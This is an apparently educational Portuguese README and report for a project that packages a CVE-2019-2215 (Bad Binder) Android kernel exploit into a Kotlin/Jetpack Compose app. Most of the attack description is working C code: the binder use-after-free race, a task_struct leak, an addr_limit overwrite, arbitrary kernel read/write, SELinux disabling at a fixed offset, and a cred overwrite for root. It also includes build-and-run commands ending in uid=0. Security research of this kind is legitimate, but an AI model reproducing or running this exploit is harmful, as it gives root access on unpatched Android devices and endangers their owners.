
demo CVE-2019-2215 (Bad Binder) para Android Q
Este repositório é um pequeno projeto de teste para pesquisa da vulnerabilidade
CVE-2019-2215 (Bad Binder) e escrita de um protótipo funcional de exploit para Android com
interface gráfica simples em Kotlin/Jetpack Compose.
No README eu:
O repositório possui um workflow do GitHub Actions que, a cada push/PR, compila o projeto
com o comando ./gradlew assembleDebug e publica o badbinder-debug.apk como artefato.
Pode ser baixado assim:
badbinder-debug-apk
com o APK compilado.Isso foi feito por conveniência, caso queira apenas testar o aplicativo sem montar um ambiente local.
CVE-2019-2215 é um Use-After-Free (UAF) no subsistema de IPC Binder do kernel Android.
De forma simplificada:
struct binder_thread, que descreve uma thread
realizando chamadas Binder;waitqueue);remove_wait_queue,
o que abre um cenário clássico de UAF;Uma análise teórica mais detalhada fiz com base nos materiais:
Conforme recomendado na tarefa, usei um AVD com imagem Android 10.0 (Q) x86_64.
Fiz o seguinte:
/dev/binder.adb shell
ls -l /dev/binder
Nesta etapa me deparei com um fato desagradável:
atualmente, as imagens AVD atuais já vêm com kernel corrigido, no qual
o CVE-2019-2215 está fechado. Ou seja, não será possível obter root em um emulador oficial moderno
— o exploit falha em estágios posteriores ou simplesmente não concede elevação de privilégios.
No final, uso o AVD como simulador para reproduzir a lógica do exploit:
addr_limit,Essa é uma nuance importante: todo o código e relatório abaixo são educacionais, não "de combate".
Criei um pequeno aplicativo Android:
Principais passos:
Criei um projeto normal no Android Studio (Kotlin, suporte mínimo ao Android 10).
Conectei o NDK e o CMake.
Adicionei o arquivo nativo com o exploit (o mesmo cve-2019-2215.c com funções
leak_task_struct, overwrite_addr_limit, etc.).
No CMakeLists.txt adicionei a compilação de libcve-2019-2215.so.
No MainActivity:
init {
System.loadLibrary("cve-2019-2215")
}
external fun runNativeExploit(): String
external fun setNativeLogger(logger: NativeLogger)
No lado Kotlin fiz um ExploitViewModel que implementa a interface
NativeLogger e armazena todas as mensagens em um StateFlow<List<String>>. A UI se inscreve
nesse fluxo e exibe o log em um "terminal".
Ao iniciar a activity, chamo setNativeLogger(viewModel), para que o código nativo receba
um objeto para o qual possa enviar strings.
Compilo e instalo o aplicativo:
./gradlew installDebug
Inicio o AVD e o próprio aplicativo.
Na tela vejo um "terminal" e um botão RUN EXPLOIT.
Ao pressionar:
runNativeExploit() em uma thread em segundo plano.Em um kernel real vulnerável, eu esperaria ver algo como:
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...
No emulador atual do Android 10 isso, obviamente, não ocorre, mas todo o resto —
vazamento de task_struct, tentativa de sobrescrever addr_limit, cálculo de cred e kernel_base —
funciona como um "cenário", que era o que se pedia na tarefa.
Abaixo — esquema lógico do exploit com vínculo às funções C específicas.
O plano de alto nível é:
struct binder_thread e usá-lo para
vazar o endereço do task_struct do próprio processo (leak_task_struct).addr_limit no task_struct (overwrite_addr_limit) — isso remove a restrição
entre endereços de user-space e kernel-space para posteriores
copy_to_user / copy_from_user.arb_read / arb_write).cred do processo atual e a base do kernel (verifying),
em seguida:
Paralelamente, integrei um logger JNI para que todas essas etapas fossem visíveis diretamente na UI.
task_struct (leak_task_struct)Função principal:
void leak_task_struct() {
android_log("[*] Starting leak_task_struct...");
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
assert(ret >= 0);
...
}
O que a função faz:
Fixa a thread na CPU 0 (sched_setaffinity), para tornar o comportamento do alocador do kernel
mais previsível. Isso melhora a estabilidade da exploração do UAF.
Abre /dev/binder, cria um descritor epoll:
fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
O descritor Binder é registrado no epoll:
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
Prepara um array struct iovec iov_buffers[IOVEC_N] e aloca memória:
spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
Aqui é importante que os 32 bits inferiores do endereço sejam zeros:
if (((long) spinner & 0xffffffff) != 0) {
android_log("[!] mmap returned wrong address!");
return;
}
Isso corresponde à técnica dos artigos de exploração: posteriormente o kernel interpreta parte dos nossos dados como estruturas com ponteiros, e esse endereçamento "bem alinhado" simplifica o abuso.
Em seguida, os campos iov_buffers[0xa] e são preenchidos de modo que,
no momento do UAF, o kernel copie para o pipe um pedaço de memória onde está o ponteiro para
.
Resultado: tenho o endereço do task_struct no kernel, o que é crucial para
os passos seguintes.
addr_limit (overwrite_addr_limit)O addr_limit no task_struct determina quais endereços o processo pode
passar para chamadas de sistema como ponteiros de user-space. Se
sobrescrito para um valor quase máximo, o kernel deixa de distinguir
endereços de user-space de endereços em seu próprio espaço — e muitas
operações aparentemente seguras copy_(to|from)_user se transformam em
leituras/escritas arbitrárias do kernel.
Função:
void overwrite_addr_limit() {
android_log("[*] Starting overwrite_addr_limit...");
...
}
age de forma muito semelhante:
Novamente fixo a afinidade de CPU, abro /dev/binder, crio epoll.
Preparo iov_buffers, mas desta vez o esquema é diferente:
iov_buffers[0xa].iov_base = spinner;
iov_buffers[0xa].iov_len = 0x1;
iov_buffers[0xb].iov_base = read_buffer0;
iov_buffers[0xb].iov_len = 0x8 * 5;
iov_buffers[0xc].iov_base = read_buffer0;
iov_buffers[0xc].iov_len = 0x8;
Em vez de pipe, uso socketpair(AF_UNIX, SOCK_STREAM, ...):
int socket[2];
ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
write(socket[1], "A", 1);
Preparo a estrutura msghdr para recvmsg:
struct msghdr msg;
msg.msg_iov = iov_buffers;
msg.msg_iovlen = IOVEC_N;
...
No processo filho (após fork()) novamente inicio a corrida UAF:
if (!fork()) {
...
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
long data1234[] = {1, 0x13371337, 0x28,
task_struct + ADDR_LIMIT_OFFSET, 0x8};
ret = write(socket[1], data1234, 0x28);
data1234[0] = data1234[1] = data1234[2] = data1234[3]
= 0xfffffffffffffffe;
ret = write(socket[1], data1234, 0x8);
...
}
arb_read, arb_write, verifying)Após sobrescrever o addr_limit, uso pipes para transformar
operações normais de leitura/escrita na capacidade de ler e escrever em endereços do kernel.
arb_read / arb_writeunsigned long arb_read(unsigned long addr) {
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
unsigned long data = 0;
write(pipe_fd[1], (void *)&addr, 8);
read(pipe_fd[0], &data, 8);
return data;
}
Analogamente, arb_write inverte a direção da cópia.
Função verifying():
void verifying() {
android_log("[*] Starting verification...");
int pipe_fd[2];
ret = pipe(pipe_fd);
assert(ret != -1);
write(pipe_fd[1], (void *) task_struct, 0x1000);
read(pipe_fd[0], buf, 0x1000);
assert(getpid() == *(int *) (buf + PID_OFFSET));
android_log("[!] Arbitrary rw verified with PID :D");
cred = *(unsigned long *) (buf + CRED_OFFSET);
kernel_leak = *(unsigned long *) (buf + 0x70);
kernel_base = kernel_leak - 0xffffffff8100bf10 + 0xffffffff80200000;
}
Aqui eu:
task_struct;PID_OFFSET confirmo que é realmente minha estrutura;cred e um vazamento de endereço do kernel (kernel_leak);kernel_base com correção para um deslocamento fixo.Parte final em runNativeExploit:
selinux_enforcing = kernel_base + 0x149fe58;
...
arb_write(selinux_enforcing, 4, buf + 0x10);
android_log("[+] Selinux changed: Permissive now.");
selinux_enforcing e a defino para o
estado zero/"permissivo".Em seguida — sobrescrita do cred:
memset(buf, 0, 0x100);
unsigned long *ptr = (unsigned long *) (buf + 0x30);
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
*ptr++ = 0x0000003FFFFFFFFF;
arb_write(cred + 4, 0x4c, buf + 4);
}
Eu literalmente preencho os campos de capability e alguns outros campos de `cred`
com valores máximos, para conceder ao processo o conjunto completo de direitos.
Última verificação:
```c
if (getuid() == 0) {
android_log("[+] Root escalation successful!");
} else {
android_log("[!] Root escalation failed!");
}
Em um kernel real vulnerável, eu esperaria uid=0 aqui; na imagem corrigida —
logicamente a escalada é desativada.
Para ver tudo em tempo real, adicionei uma camada:
JNI_OnLoad salva o JavaVM* e o PID do processo principal;setNativeLogger recebe um objeto Kotlin que implementa o método onLog(String),
e o armazena como GlobalRef;android_log/android_log_hex escrevem no logcat e chamam send_to_ui, que
entrega a string ao Kotlin, onde o ExploitViewModel a captura e exibe no "terminal" Compose.É importante que send_to_ui filtra processos filhos pelo PID — chamar JNI a partir de
um processo após fork() sem exec() não é seguro.
Encontrei que atualmente não existem imagens AVD oficiais do Android 10 com kernel não corrigido, onde o CVE-2019-2215 ainda esteja presente.
Em vez de obter root "real", concentrei-me em:
Se desejado, este código pode ser portado para um dispositivo real com kernel antigo não corrigido, mas isso está fora do escopo da tarefa.
Tive que definir explicitamente:
ADDR_LIMIT_OFFSET, PID_OFFSET, CRED_OFFSET;kernel_leak e selinux_enforcing;kernel_base.Optei conscientemente por não automatizar a busca desses valores, para não aumentar o volume do projeto. No relatório, assumo que é um exemplo educacional para uma versão específica do kernel, e não um exploit universal.
O uso de fork(), epoll_ctl, BINDER_THREAD_EXIT e diferentes timings
é um campo minado. Descobri que sem:
sched_setaffinity,sleep,assert agressivos ao longo do caminhoo exploit se torna extremamente instável.
Aos poucos, ajustei a sequência para que, em uma configuração vulnerável,
fosse previsível e, em uma corrigida, "falhasse" corretamente nas
últimas etapas.
fork()Também me deparei com o fato de que tentativas de logar do processo filho
diretamente na JVM levam a comportamentos estranhos.
Tive que lembrar as regras do JNI e adicionar uma verificação de PID para comunicar-me
com a JVM apenas a partir do processo principal.
Compromisso: parte das mensagens é visível apenas no logcat, e na UI é exibido
apenas o que veio do pai. Isso me satisfez, pois dentro da tarefa são importantes
principalmente os pontos de controle principais, e não cada print de depuração.
Como bônus, para uma implementação mais criativa da tarefa, decidi fazer uma interface conveniente para análise:
[+], [*], [!], [C]) são destacados em cores
diferentes para facilitar a leitura;Success / Failed) é exibido em um bloco separado.Isso facilita muito a compreensão do funcionamento do código nativo: em vez do seco logcat,
vejo tudo em um só lugar, diretamente no aplicativo.
Como resultado do trabalho na tarefa, eu:
task_struct,addr_limit,cred, desativação do SELinux e tentativa de escalada de privilégios.O projeto ficou compacto, mas essencialmente reflete todo o ciclo de vida de uma vulnerabilidade real do kernel: desde a descrição teórica e leitura de artigos até a implementação prática e integração em um aplicativo Android funcional.
No diretório cve-2019-2215 há um Makefile que permite compilar
um binário nativo (x86_64) e executá-lo diretamente no AVD via ADB.
Se precisar de uma versão aarch64, ela pode ser compilada separadamente.
cd cve-2019-2215
make
adb shell
cd /sdcard/cve-2019-2215
chmod +x cve-2019-2215
./cve-2019-2215
id
uid=0(root) gid=0(root) groups=0(root)
selinux_enforcing = 0),cred para se tornar root e obter o conjunto completo de capabilities
(runNativeExploit).iov_buffers[0xb]task_structCria um pipe e define seu tamanho de buffer como 0x1000:
int pipe_fd[2];
ret = pipe(pipe_fd);
fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
Em seguida — a clássica corrida UAF. Inicio um processo filho:
if (!fork()) {
android_log("\t[C] Long sleep to ensure accuracy...");
sleep(1);
android_log("\t[*] Triggering UAF");
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
android_log("\t[C] Removing useless data from pipe...");
ret = read(pipe_fd[0], buf, 0x1000);
...
_exit(0);
}
epoll_ctl(..., EPOLL_CTL_DEL, ...) leva à
liberação do binder_thread associado no kernel, mas ele ainda está presente
na estrutura de contagem de espera — esse é o ponto do UAF.No processo pai, chamo:
ioctl(fd, BINDER_THREAD_EXIT, NULL); // liberação do binder_thread
ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
Nesta etapa, graças ao UAF, writev usa a memória já liberada
como estruturas iovec e, essencialmente, reinterpreta a mesma região de memória
onde antes estava o binder_thread, mas agora como um conjunto de
ponteiros/tamanhos. Como efeito colateral, ocorre a cópia de um fragmento
da memória do kernel para o nosso pipe.
Finalmente, leio do pipe:
read(pipe_fd[0], buf, 0x1000);
task_struct = *(unsigned long *)(buf + 0xe8);
android_log_hex("[+] task_struct found", task_struct);
O deslocamento 0xe8 foi ajustado para a versão específica do kernel — é o local
onde, dentro do bloco de memória vazado, está o ponteiro para o task_struct do meu
processo.
O pai, como antes, libera o binder_thread e chama recvmsg:
ioctl(fd, BINDER_THREAD_EXIT, NULL);
ret = recvmsg(socket[0], &msg, MSG_WAITALL);
Devido ao UAF e à substituição astuta das estruturas, o kernel acaba interpretando task_struct + ADDR_LIMIT_OFFSET como o endereço de um buffer user e copia para lá o conteúdo
da estrutura enviada (nosso valor 0xfffffffffffffffe), sobrescrevendo assim
o addr_limit no task_struct.
No log, escrevo:
android_log("[!] addr_limit overwrite done.");